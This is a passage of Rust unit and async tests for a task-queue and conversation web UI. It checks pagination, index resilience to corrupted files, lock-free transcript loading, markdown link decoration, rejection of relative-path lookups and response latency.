25182 ui.queue.put(&mut task).unwrap();
25183 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
25184 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
25185 assert_eq!(stats_queue(State(ui)).await.unwrap().0.held, 0);
25186 }
25187
25188 #[tokio::test]
25189 async fn health_notifications_revision_is_fresh_between_monitor_ticks() {
25190 let home = tempfile::tempdir().unwrap();
25191 let ui = delta_test_ui(home.path());
25192 *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
25193 let before = health(State(ui.clone())).await.unwrap().0;
25194 ui.notices.raise(Notice::warn("task:1", "held")).unwrap();
25195 let after = health(State(ui)).await.unwrap().0;
25196 assert_ne!(before.notifications_rev, after.notifications_rev);
25197 assert_eq!(after.notifications_unread, 1);
25198 }
25199
25200 #[tokio::test]
25201 async fn list_pages_bound_history_and_keep_dependency_evidence() {
25202 let home = tempfile::tempdir().unwrap();
25203 let ui = delta_test_ui(home.path());
25204 let queue = &ui.queue;
25205 let talks = &ui.talks;
25206 for i in 0..1000 {
25207 let id = format!("20261019-{i:06}-page");
25208 let mut task = Task::new(
25209 "task".into(),
25210 "instruction".repeat(100),
25211 PathBuf::from("/repo/magi"),
25212 Source::Human,
25213 );
25214 task.id = id.clone();
25215 if i == 0 {
25216 task.status = crate::queue::TaskStatus::Held;
25217 } else if i == 999 {
25218 task.status = crate::queue::TaskStatus::Blocked;
25219 task.blocked_by = vec!["20261019-000000-page".into()];
25220 }
25221 queue.put(&mut task).unwrap();
25222 seed_talk_at(talks, &id, "closed");
25223 }
25224 let page = serde_json::to_value(
25225 queue_page(State(ui.clone()), Query(PageQuery::default()))
25226 .await
25227 .unwrap()
25228 .0,
25229 )
25230 .unwrap();
25231 assert_eq!(page["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
25232 assert_eq!(page["rows"][0]["id"], "20261019-000999-page");
25233 assert!(
25234 !page["rows"][0]["stuck_roots"]
25235 .as_array()
25236 .unwrap()
25237 .is_empty()
25238 );
25239 let cursor = page["next"].as_str().unwrap();
25240 let last_id = page["rows"].as_array().unwrap().last().unwrap()["id"]
25241 .as_str()
25242 .unwrap();
25243 std::fs::remove_file(queue.path_of(last_id)).unwrap();
25245 let next = serde_json::to_value(
25246 queue_page(
25247 State(ui.clone()),
25248 Query(PageQuery {
25249 before: Some(cursor.into()),
25250 }),
25251 )
25252 .await
25253 .unwrap()
25254 .0,
25255 )
25256 .unwrap();
25257 assert_eq!(next["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
25258 assert!(next["rows"][0]["id"].as_str().unwrap() < last_id);
25259 let chats = serde_json::to_value(
25260 talks_page(
25261 State(ui.clone()),
25262 Query(PageQuery::default()),
25263 header::HeaderMap::new(),
25264 )
25265 .await
25266 .unwrap()
25267 .0,
25268 )
25269 .unwrap();
25270 assert_eq!(chats["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
25271 assert!(chats["rows"][0].get("pending").is_none());
25272 assert!(chats["rows"][0].get("turn_bodies_md").is_none());
25273 let counts = serde_json::to_value(stats_queue(State(ui)).await.unwrap().0).unwrap();
25274 assert_eq!(counts["held"], 1);
25275 assert_eq!(counts["blocked"], 1);
25276 assert_eq!(counts["queued"], 997);
25277 }
25278
25279 #[test]
25280 fn queue_index_observes_external_replacement_deletion_and_corruption() {
25281 let dir = tempfile::tempdir().unwrap();
25282 let ui = delta_test_ui(dir.path());
25283 let mut task = Task::new(
25284 "task".into(),
25285 "body".into(),
25286 PathBuf::from("/repo"),
25287 Source::Human,
25288 );
25289 task.runs = vec!["run-a".into()];
25290 ui.queue.put(&mut task).unwrap();
25291 assert!(ui.find_task_for_run("run-a").unwrap().is_some());
25292 task.runs = vec!["run-b".into()];
25293 let path = ui.queue.path_of(&task.id);
25294 let modified = path.metadata().unwrap().modified().unwrap();
25295 let replacement = path.with_extension("replacement");
25296 let bytes = serde_json::to_vec_pretty(&task).unwrap();
25297 assert_eq!(bytes.len() as u64, path.metadata().unwrap().len());
25298 std::fs::write(&replacement, &bytes).unwrap();
25299 std::fs::File::options()
25300 .write(true)
25301 .open(&replacement)
25302 .unwrap()
25303 .set_times(std::fs::FileTimes::new().set_modified(modified))
25304 .unwrap();
25305 std::fs::rename(&replacement, &path).unwrap();
25306 assert!(ui.find_task_for_run("run-a").unwrap().is_none());
25307 assert!(ui.find_task_for_run("run-b").unwrap().is_some());
25308 std::fs::write(&path, "broken").unwrap();
25309 assert!(ui.find_task_for_run("run-b").is_err());
25310 std::fs::write(&path, bytes).unwrap();
25311 assert!(ui.find_task_for_run("run-b").unwrap().is_some());
25312 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
25313 assert!(ui.find_task_for_run("run-b").unwrap().is_none());
25314 }
25315
25316 #[tokio::test]
25317 async fn conversation_core_is_independent_of_unreadable_related_history() {
25318 let home = tempfile::tempdir().unwrap();
25319 let ui = delta_test_ui(home.path());
25320 let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
25321 std::fs::create_dir_all(ui.queue.root()).unwrap();
25322 std::fs::write(ui.queue.root().join("unreadable.json"), "broken").unwrap();
25323 let Json(core) = talk_core(State(ui.clone()), Path(id.clone()))
25324 .await
25325 .unwrap();
25326 assert_eq!(core.talk.id, id);
25327 assert!(talk_sections(State(ui), Path(id)).await.is_ok());
25328 }
25329
25330 #[test]
25331 fn conversation_core_ignores_worker_store_lock_and_busy_secondary_pool() {
25332 let home = tempfile::tempdir().unwrap();
25333 let ui = delta_test_ui(home.path());
25334 let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
25335 let directory = home.path().join("workers/jobs/abcdef");
25336 std::fs::create_dir_all(&directory).unwrap();
25337 let job = crate::worker::Job {
25338 id: "abcdef".into(),
25339 sequence: 1,
25340 kind: "chat".into(),
25341 key: id.clone(),
25342 payload: serde_json::json!({ "talk": id }),
25343 generation: "test".into(),
25344 version: None,
25345 status: crate::worker::Status::Running,
25346 result: None,
25347 pid: None,
25348 created_at: 0,
25349 finished_at: None,
25350 };
25351 std::fs::write(
25352 directory.join("job.json"),
25353 serde_json::to_vec(&job).unwrap(),
25354 )
25355 .unwrap();
25356 let live = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
25357 let store =
25358 crate::worker::execution_lease_for_test(&home.path().join("workers/store.lock"));
25359 let runtime = tokio::runtime::Builder::new_current_thread()
25360 .enable_all()
25361 .max_blocking_threads(1)
25362 .build()
25363 .unwrap();
25364 runtime.block_on(async {
25365 let (release, held) = std::sync::mpsc::channel();
25366 let (started, ready) = tokio::sync::oneshot::channel();
25367 let occupied = tokio::task::spawn_blocking(move || {
25368 started.send(()).unwrap();
25369 held.recv().unwrap();
25370 });
25371 ready.await.unwrap();
25372 let secondary = tokio::spawn(talk_sections(State(ui.clone()), Path(id.clone())));
25373 let bulk = ui
25374 .monitor
25375 .bulk_slots
25376 .clone()
25377 .acquire_many_owned(2)
25378 .await
25379 .unwrap();
25380 let result = tokio::time::timeout(
25381 Duration::from_secs(2),
25382 talk_core(State(ui.clone()), Path(id.clone())),
25383 )
25384 .await;
25385 drop(store);
25387 drop(bulk);
25388 release.send(()).unwrap();
25389 occupied.await.unwrap();
25390 let _ = secondary.await.unwrap().unwrap();
25391 let Json(core) = result
25392 .expect("transcript must bypass secondary work and the worker store lock")
25393 .unwrap();
25394 assert!(
25395 core.thinking,
25396 "read-only observation retains live worker state"
25397 );
25398 assert_eq!(core.talk.id, id);
25399 let admission_ui = ui.clone();
25400 let (release, held) = std::sync::mpsc::channel();
25401 let (started, ready) = tokio::sync::oneshot::channel();
25402 let admission = std::thread::spawn(move || {
25403 let _lock = admission_ui.talk_turns.lock().unwrap();
25404 started.send(()).unwrap();
25405 held.recv().unwrap();
25406 });
25407 ready.await.unwrap();
25408 let result = tokio::time::timeout(
25409 Duration::from_secs(2),
25410 talk_core(State(ui.clone()), Path(id.clone())),
25411 )
25412 .await;
25413 release.send(()).unwrap();
25414 admission.join().unwrap();
25415 assert!(
25416 result
25417 .expect("display must not wait behind local admission")
25418 .unwrap()
25419 .0
25420 .thinking
25421 );
25422 assert!(ui.is_thinking(&id));
25423 assert!(ui.is_thinking_observed(&id));
25424 drop(live);
25425 assert!(
25426 !ui.is_thinking_observed(&id),
25427 "a finished lease no longer appears live"
25428 );
25429 assert!(!ui.is_thinking(&id));
25430 let _turn = ui.begin_talk_turn(&id).unwrap().unwrap();
25431 assert!(
25432 ui.is_thinking_observed(&id),
25433 "local admission remains visible"
25434 );
25435 });
25436 }
25437
25438 #[tokio::test]
25439 async fn conversation_core_defers_store_links_but_preserves_markdown_and_provenance() {
25440 let home = tempfile::tempdir().unwrap();
25441 let ui = delta_test_ui(home.path());
25442 let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
25443 let mut task = Task::new(
25444 "Referenced task".into(),
25445 "Unrelated instruction history".repeat(1024),
25446 home.path().into(),
25447 Source::Human,
25448 );
25449 task.id = "20261019-000000-abcd".into();
25450 ui.queue.put(&mut task).unwrap();
25451 let mut conversation = ui.talks.get(&id).unwrap();
25452 conversation.turns.push(talk::Turn {
25453 sender: Some(talk::Sender::Persona),
25454 who: talk::Who::Agent,
25455 body: "**Useful transcript** task@abcd and R2-1-3\n\n| Reference |\n| --- |\n| `abcd` |\n\n- task@abcd\n\n```\ntask@abcd\n```".into(),
25456 at: conversation.created_at,
25457 attachments: Vec::new(),
25458 usage: None,
25459 breaks: None,
25460 messages: Vec::new(),
25461 posted_by: None,
25462 });
25463 ui.talks.put(&mut conversation).unwrap();
25464
25465 let Json(core) = talk_core(State(ui.clone()), Path(id)).await.unwrap();
25466 let markdown = serde_json::to_value(&core.turn_bodies_md)
25467 .unwrap()
25468 .to_string();
25469 assert!(markdown.contains("\"strong\""));
25470 assert!(markdown.contains("\"table\""));
25471 assert!(markdown.contains("\"bullet_list\""));
25472 assert!(markdown.contains("\"code_block\""));
25473 assert!(!markdown.contains("\"internal_link\""));
25474 assert_eq!(core.talk.turns[0].sender, Some(talk::Sender::Persona));
25475 assert_eq!(core.talk.turns[0].body, conversation.turns[0].body);
25476 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
25477
25478 let references = ui.references.for_talk(home.path(), &conversation);
25481 let mut decorated = core.turn_bodies_md[0].clone();
25482 references.markdown(&mut decorated);
25483 let decorated = serde_json::to_value(decorated).unwrap().to_string();
25484 assert_eq!(decorated.matches("\"internal_link\"").count(), 3);
25485 assert!(decorated.contains(&format!("#/tasks/{}", task.id)));
25486 assert_eq!(
25487 ui.talks.get(&conversation.id).unwrap().turns[0].body,
25488 conversation.turns[0].body
25489 );
25490 }
25491
25492 #[tokio::test]
25493 async fn unrelated_corrupt_task_does_not_break_run_or_talk_relationships() {
25494 let home = tempfile::tempdir().unwrap();
25495 let ui = delta_test_ui(home.path());
25496 let talk_id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
25497 let mut run = RunState::new(
25498 PathBuf::from("/repo"),
25499 "main".into(),
25500 "01234567".into(),
25501 "Useful run".into(),
25502 Config::default(),
25503 );
25504 run.save_under(home.path()).unwrap();
25505 let mut task = Task::new(
25506 "Related".into(),
25507 "body".into(),
25508 PathBuf::from("/repo"),
25509 Source::Agent {
25510 run: talk_id.clone(),
25511 node: "chat".into(),
25512 },
25513 );
25514 task.runs = vec![run.id.clone()];
25515 ui.queue.put(&mut task).unwrap();
25516 std::fs::write(ui.queue.root().join("unrelated.json"), "broken").unwrap();
25517 assert_eq!(ui.find_task_for_run(&run.id).unwrap().unwrap().id, task.id);
25518 assert_eq!(ui.find_tasks_for_talk(&talk_id).unwrap()[0].id, task.id);
25519 assert!(
25520 run_detail(State(ui.clone()), Path(run.id.clone()))
25521 .await
25522 .is_ok()
25523 );
25524 assert!(
25525 talk_sections(State(ui.clone()), Path(talk_id.clone()))
25526 .await
25527 .is_ok()
25528 );
25529 std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
25531 assert!(ui.find_task_for_run(&run.id).is_err());
25532 assert!(ui.find_tasks_for_talk(&talk_id).is_err());
25533 ui.queue.put(&mut task).unwrap();
25534 assert!(ui.find_task_for_run(&run.id).unwrap().is_some());
25535 }
25536
25537 #[tokio::test]
25538 async fn conversation_sections_omit_large_task_instructions() {
25539 let home = tempfile::tempdir().unwrap();
25540 let ui = delta_test_ui(home.path());
25541 let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
25542 let mut task = Task::new(
25543 "filed task".into(),
25544 "large instruction ".repeat(65536),
25545 PathBuf::from("/repo"),
25546 Source::Agent {
25547 run: id.clone(),
25548 node: "chat".into(),
25549 },
25550 );
25551 ui.queue.put(&mut task).unwrap();
25552 let Json(sections) = talk_sections(State(ui), Path(id)).await.unwrap();
25553 assert_eq!(sections["tasks"][0]["id"], task.id);
25554 assert_eq!(sections["tasks"][0]["status_str"], task.status.as_str());
25555 assert!(sections["tasks"][0].get("instruction").is_none());
25556 assert!(serde_json::to_vec(§ions).unwrap().len() < 8192);
25557 }
25558
25559 #[test]
25560 fn exact_record_lookup_rejects_paths_and_preserves_short_id_ambiguity() {
25561 let home = tempfile::tempdir().unwrap();
25562 let talks = Talks::at(home.path().join("talks"));
25563 seed_talk_at(&talks, "20261019-000001-abcd", "open");
25564 seed_talk_at(&talks, "20261019-000002-abcd", "open");
25565 std::fs::write(home.path().join("outside.json"), "{}").unwrap();
25566 assert!(resolve_talk(&talks, "../outside").is_err());
25567 assert!(resolve_talk(&talks, "abcd").is_err());
25568 assert_eq!(
25569 resolve_talk(&talks, "20261019-000001-abcd").unwrap(),
25570 "20261019-000001-abcd"
25571 );
25572 }
25573
25574 include!(concat!(
25575 env!("CARGO_MANIFEST_DIR"),
25576 "/tests/web_latency/baseline.rs"
25577 ));
25578
25579 include!(concat!(
25580 env!("CARGO_MANIFEST_DIR"),
25581 "/tests/web_latency/lists.rs"
25582 ));
25583
25584 #[tokio::test]
25585 #[ignore = "local performance measurement; see docs/web-responsiveness.md"]
25586 async fn web_history_latency_measurement() {
25587 use std::time::Instant;
25588 let home = tempfile::tempdir().unwrap();
25589 let ui = delta_test_ui(home.path());
25590 let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
25591 let mut template = ui.talks.get(&id).unwrap();
25592 template.turns = serde_json::from_value(serde_json::json!([{
25593 "who": "operator", "body": "Show the accumulated work and its current status.",
25594 "at": Timestamp::now().to_string(),
25595 }]))
25596 .unwrap();
25597 std::fs::write(
25598 ui.talks.path_of(&id),
25599 serde_json::to_vec(&template).unwrap(),
25600 )
25601 .unwrap();
25602 let count = std::env::var("MAGI_BENCH_RECORDS")
25603 .ok()
25604 .and_then(|s| s.parse::<usize>().ok())
25605 .unwrap_or(1000);
25606 for i in 0..count {
25607 template.id = format!("20261019-{i:06}-history");
25608 template.pending = "history ".repeat(2048);
25609 std::fs::write(
25610 ui.talks.path_of(&template.id),
25611 serde_json::to_vec(&template).unwrap(),
25612 )
25613 .unwrap();
25614 let mut task = Task::new(
25615 "old task".into(),
25616 "instruction ".repeat(2048),
25617 PathBuf::from("/repo"),
25618 Source::Human,
25619 );
25620 task.id = format!("20261019-{i:06}-task");
25621 ui.queue.put(&mut task).unwrap();
25622 }
25623 for baseline in [true, false] {
25624 for clients in [1, 4] {
25625 let parsed_before = ui.monitor.queue_index.lock().unwrap().reparsed;
25626 let mut samples = Vec::new();
25627 for _ in 0..12 {
25628 let mut jobs = Vec::new();
25629 for _ in 0..clients {
25630 let ui = ui.clone();
25631 let id = id.clone();
25632 jobs.push(tokio::spawn(async move {
25633 let start = Instant::now();
25634 if baseline {
25635 let response =
25636 baseline_talk_detail(State(ui), Path(id)).await.unwrap().0;
25637 let elapsed = start.elapsed().as_secs_f64() * 1000.0;
25638 return (
25639 elapsed,
25640 elapsed,
25641 serde_json::to_vec(&response).unwrap().len(),
25642 );
25643 }
25644 let core = talk_core(State(ui.clone()), Path(id.clone()));
25645 let secondary = talk_sections(State(ui), Path(id));
25646 let (first, total) = tokio::join!(
25647 async {
25648 let value = core.await.unwrap().0;
25649 (
25650 start.elapsed().as_secs_f64() * 1000.0,
25651 serde_json::to_vec(&value).unwrap().len(),
25652 )
25653 },
25654 async {
25655 let value = secondary.await.unwrap().0;
25656 (
25657 start.elapsed().as_secs_f64() * 1000.0,
25658 serde_json::to_vec(&value).unwrap().len(),
25659 )
25660 }
25661 );
25662 (first.0, first.0.max(total.0), first.1 + total.1)
25663 }));
25664 }
25665 for job in jobs {
25666 samples.push(job.await.unwrap());
25667 }
25668 }
25669 let mut first: Vec<_> = samples.iter().map(|s| s.0).collect();
25670 let mut total: Vec<_> = samples.iter().map(|s| s.1).collect();
25671 first.sort_by(f64::total_cmp);
25672 total.sort_by(f64::total_cmp);
25673 let n = first.len();
25674 let parsed = ui.monitor.queue_index.lock().unwrap().reparsed - parsed_before;
25675 println!(
25676 "baseline={baseline} records={count} clients={clients} first_ms p50={:.2} p95={:.2}; complete_ms p50={:.2} p95={:.2}; bytes={}; indexed_task_parses={parsed}",
25677 first[n / 2],
25678 first[(n * 95 / 100).min(n - 1)],
25679 total[n / 2],
25680 total[(n * 95 / 100).min(n - 1)],
25681 samples[0].2
25682 );
25683 }
25684 }
25685 }
25686
25687 #[test]
25688 fn app_js_contains_progressive_rendering_and_decoupled_reports() {
25689 assert!(!APP_JS.contains("Promise.allSettled([\n getJson(API.run(id)), getText(API.report(id)), getJson(API.reportJson(id))"));
25691 assert!(APP_JS.contains("function nextRunRequest(id)"));
25692 assert!(APP_JS.contains("function runShell(id, summary)"));
25693 assert!(APP_JS.contains("function nextTaskRequest(id)"));
25694 assert!(APP_JS.contains("function taskShell(id, summary)"));
25695 assert!(APP_JS.contains("state.detail.reportLoading = false;"));
25696 }
25697}